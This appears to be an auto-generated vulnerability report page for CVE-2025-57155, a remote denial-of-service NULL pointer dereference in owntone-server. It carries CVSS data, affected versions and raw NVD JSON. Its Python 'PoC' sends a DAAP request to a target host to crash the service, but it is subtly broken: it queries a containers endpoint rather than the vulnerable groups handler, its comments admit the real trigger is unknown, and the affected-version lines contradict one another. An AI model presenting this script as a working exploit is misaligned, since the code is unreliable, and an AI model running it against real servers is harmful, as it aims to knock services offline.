Security Vulnerability Report
中文
CVE-2025-57155 CVSS 7.5 HIGH

CVE-2025-57155

Published: 2026-01-20 21:16:04
Last Modified: 2026-02-13 21:04:42

Description

NULL pointer dereference in the daap_reply_groups function in src/httpd_daap.c in owntone-server through commit 5e6f19a (newer commit after version 28.2) allows remote attackers to cause a Denial of Service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:owntone:owntone_server:*:*:*:*:*:*:*:* - VULNERABLE
owntone-server < commit 5e6f19a
owntone-server 28.2及更早版本
owntone-server commit 5e6f19a之后的新提交版本已修复

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-57155 PoC - owntone-server NULL pointer dereference This PoC demonstrates the NULL pointer dereference in daap_reply_groups function. """ import socket import sys def send_daap_request(target_ip, target_port=3689): """ Send a crafted DAAP request to trigger the NULL pointer dereference in the daap_reply_groups function in src/httpd_daap.c """ # Crafted DAAP request that triggers the vulnerability # The exact payload depends on the specific vulnerability trigger conditions daap_request = ( b'GET /databases/1/containers HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b'\r\n' b'Accept: */*\r\n' b'Client-DAAP-Version: 3.0\r\n' b'User-Agent: iTunes/12.0.1 (Windows; N;) \n' b'Connection: close\r\n' b'\r\n' ) try: print(f'[*] Sending crafted DAAP request to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(daap_request) # Wait for response response = sock.recv(4096) print(f'[*] Received response: {response[:100]}') sock.close() print('[+] Request sent successfully') return True except socket.timeout: print('[-] Connection timeout - service may have crashed!') return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 send_daap_request(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57155", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:03.670", "lastModified": "2026-02-13T21:04:41.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference in the daap_reply_groups function in src/httpd_daap.c in owntone-server through commit 5e6f19a (newer commit after version 28.2) allows remote attackers to cause a Denial of Service."}, {"lang": "es", "value": "Desreferencia de puntero NULL en la función daap_reply_groups en src/httpd_daap.c en owntone-server a través del commit 5e6f19a (commit más reciente después de la versión 28.2) permite a atacantes remotos causar una denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:owntone:owntone_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "28.2", "matchCriteriaId": "3E1E2F16-27E4-44A9-BAF7-9F0B82A96B76"}]}]}], "references": [{"url": "https://github.com/archersec/security-advisories/blob/master/owntone-server/owntone-server-advisory-2025.md", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/owntone/owntone-server/commit/d857116e4143a500d6a1ea13f4baa057ba3b0028", "source": "[email protected]", "tags": ["Patch"]}]}}